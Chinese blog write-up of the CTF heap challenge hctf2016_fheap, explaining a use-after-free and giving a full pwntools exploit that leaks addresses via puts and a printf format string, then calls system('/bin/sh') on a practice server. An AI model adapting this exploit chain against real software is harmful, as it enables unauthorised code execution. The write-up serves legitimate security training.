首页 > 其他分享 >hctf2016_fheap

hctf2016_fheap

时间:2022-11-21 21:13:22浏览次数:59  
标签:addr libc chunk hctf2016 fheap new 0x60 delete

hctf2016_fheap

保护测略

image-20221121202251995

程序分析

只有两个程序功能,创建和删除

image-20221121202401055

这道题每申请一个chunk前会创造一个用于存放信息的chunk,这类的题一般是控制或改变用于存放信息的chunk来展开攻击,

而且当输入的大小小于0xf时会把信息放到存放信息的chunk中,

image-20221121202556238

漏洞利用

这道题的漏洞就是uaf,但是没有给show功能,但是发现我们可以修改got表,再加上free函数的地址放到存放信息的chunk中,利用小于0xf时会把信息放到存放信息的chunk中,free函数的地址也放到存放信息地chunk这几点来修改got表来达到

1、泄露程序基地址

2、泄露libc地址

3、执行system(/bin/sh)

上面三步基本都一样,所以就讲一下第一个

new(0x60,'\x00')#0  是不是0x60都可以反正是根据输入的大小来决定大小的
new(0x60,'\x00')#1
delete(1)
delete(0)   

因为大小都小于0xf所以都放到存放信息的chunk中,这么做的一个主要原因是这个chunk中有一个程序的地址(执行free的chunk,)而且可以被执行,所以只要修改后一个半的字节就可以改为puts的plt地址用于puts的plt地址(也就是程序中地址)

image-20221121205220207

当有了程序基地址后就可以知道printf的plt地址,基本步骤跟上面一样,执行printf函数实现格式化漏洞攻击的得到libc基地址,然后就是执行system函数

exp

from tools import*

context.log_level='debug'
context.arch='amd64'
def new(size,context):
    p.sendlineafter('3.quit\n','create ')
    p.sendlineafter('Pls give string size:',str(size))
    p.sendafter('str:',context)
def delete(index):
    p.sendlineafter('3.quit\n','delete ')
    p.sendlineafter('id:',str(index))
    p.sendlineafter('Are you sure?:','yes')


def pwn():
    new(0x60,'\x00')#0
    new(0x60,'\x00')#1
            
    delete(1)
    delete(0)   
  
    payload=b'a'*0x18+p64(0xd990)

    new(0x60,payload)
    debug(p,'pie',0xEE7,0xFF0,0xE56)  
    delete(1)
    p.recvuntil(b'a'*0x18)
    leak_addr=u64(p.recv(6).ljust(8,b'\x00'))
    log_addr('leak_addr')
    base_addr=leak_addr-0x990
    log_addr('base_addr')
#leak libc_addr
    delete(0)
    payload=b'%21$p'+b'a'*(0x18-5)+p64(e.plt['printf']+base_addr)
    new(0x60,payload)
    delete(1)
    leak_libc=int(p.recv(14),16)
    libc_base=leak_libc-0x78c0f
    log_addr('libc_base')
    sys_addr=libc_base+libc.symbols['system']

    delete(0)
    payload=b'/bin/sh;'.ljust(0x18,b'a')+p64(sys_addr)
    new(0x60,payload)
    delete(1)
    p.interactive()
while 1:
    try :
        p,e,libc=load('a','node4.buuoj.cn:26630')
        pwn()
    except:
        p.close()


标签:addr,libc,chunk,hctf2016,fheap,new,0x60,delete
From: https://www.cnblogs.com/trunk/p/16913217.html

相关文章